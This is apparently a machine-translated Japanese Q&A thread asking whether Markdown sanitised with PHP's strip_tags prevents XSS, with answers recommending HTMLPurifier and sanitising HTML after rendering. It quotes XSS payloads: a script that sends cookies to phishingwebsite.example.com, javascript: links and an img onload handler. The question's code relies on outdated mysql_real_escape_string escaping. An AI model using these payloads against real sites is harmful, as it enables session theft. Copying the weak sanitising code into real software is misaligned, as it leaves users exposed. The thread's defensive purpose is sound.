Markdown(strip_tagsを使用)はXSS攻撃を阻止するのに十分ですか?
質問
私は、ユーザーがカタログ内のアイテムの簡単な説明を入力できるWebアプリケーションに取り組んでいます。ユーザーがHTMLフォーマットを行えるように、テキストエリアでMarkdownを許可しています。
テキストのサニタイズ機能により、データベースに挿入する前に、入力されたテキストからすべてのタグが削除されます。
public function sanitizeText($string, $allowedTags = "") {
$string = strip_tags($string, $allowedTags);
if(get_magic_quotes_gpc()) {
return mysql_real_escape_string(stripslashes($string));
} else {
return mysql_real_escape_string($string);
}
}
本質的に、データベースに保存しているのはMarkdownだけです。他のHTMLはありません。<!> quot; basic HTML <!> quot; (SOなど)が許可されています。
マークダウンを許可すると、セキュリティ上の脅威が発生しますか?タグがなくても、マークダウンをXSSできますか?
解決
入力からHTMLタグを取り除くと、かなり混乱したデータが得られると思います-混乱したデータをMarkdownに注入して、混乱した出力を生成する方法を誰かが見つけた場合を除きます^^
それでも、ここに私の頭に浮かぶ2つのことがあります:
最初のもの: strip_tags
は奇跡的な機能ではありません。いくつかの欠陥があります...
たとえば、次のような状況では、 '<!> lt;'の後のすべてを削除します:
$str = "10 appels is <than 12 apples";
var_dump(strip_tags($str));
私が得る出力は:
string '10 appels is ' (length=13)
ユーザーにとってそれほど良いものではない:-(
2番目:いつか、いくつかのHTMLタグ/属性を許可したい場合があります。または、今日でも、MarkdownがHTMLタグ/属性を生成しないことを確認したい場合があります。
HTMLPurifier のようなものに興味があるかもしれません。どのタグと属性を保持するかを指定できます。文字列をフィルタリングして、それらだけが残るようにします。
また、有効なHTMLコードを生成します-これは常に素晴らしい;-)
他のヒント
これは、HTMLをサニタイズする必要がある理由の素敵な例です。前ではなく:
マークダウンコード:
> <script type="text/javascript"
> language="js">i=new Image\(\); i.src='http://phishingwebsite.example.com/?l='
> + escape\(window.location\) + '&c=' + escape\(document.cookie\);
> </script>
>
レンダリング:
<blockquote>
<p><script type="text/javascript"
language="js">i=new Image(); i.src='http://phishingwebsite.example.com/?l='
+ escape(window.location) + '&c=' + escape(document.cookie);
</script></p>
</blockquote>
今、心配ですか?
Markdownのレンダリング後に結果のHTMLをサニタイズするのが最も安全です。そうしないと、人々はMarkdownで次のように任意のJavascriptを実行できると思います:
[Click me](javascript:alert\('Gotcha!'\);)
PHP Markdownはこれを以下に変換します:
<p><a href="javascript:alert('Gotcha!');">Click me</a></p>
どの仕事をしますか。 ...そして、これらのケースの世話をするためにコードを追加し始めることさえ考えないでください。正しいサニタイズは簡単ではありません。適切なツールを使用して、MarkdownをHTMLにレンダリングした後に適用してください。
任意のマークダウンを許可します セキュリティの脅威?値下げすることができます XSSed、タグはありませんが
その点に関して絶対的なステートメントを作成することはほとんど不可能です。マークダウンパーサーが十分に不正な入力でだまされる可能性があることを誰が言うことができますか?
ただし、比較的単純な構文であるため、リスクはおそらく非常に低くなります。最も明らかな攻撃の角度はjavascriptです。リンクまたは画像内のURL-おそらくパーサーによって許可されていませんが、私がチェックアウトするものです。
いいえ。 Markdownの使用方法は安全ではありません。 Markdownは安全に使用できますが、正しく使用する必要があります。 Markdownを安全に使用する方法の詳細については、こちらをご覧ください。安全に使用する方法の詳細についてはリンクを参照してください。ただし、短いバージョンは次のとおりです。最新バージョンを使用し、safe_mode
を設定し、enable_attributes=False
を設定することが重要です。
リンクは、入力をエスケープしてからMarkdownを呼び出す(実行中)だけでは安全ではない理由も説明しています。短い例:<!> quot; [clickme](javascript:alert%28%22xss%22%29)
<!> quot;。
BBcodeは、タグを生成しているため、より安全です。
<!> lt; img src = <!> quot; <!> quot; onload = <!> quot; javascript:alert(\ 'haha \'); <!> quot; / <!> gt;
If <!> lt; img <!> gt;許可されます。これはstrip_tagsをそのまま通過します;)Bam!
HTMLサニタイズがより良いアプローチであるというPascal MARTINに同意します。完全にJavaScriptで行いたい場合は、 google-cajaのサニタイズをご覧になることをお勧めします。ライブラリ(ソースコード)。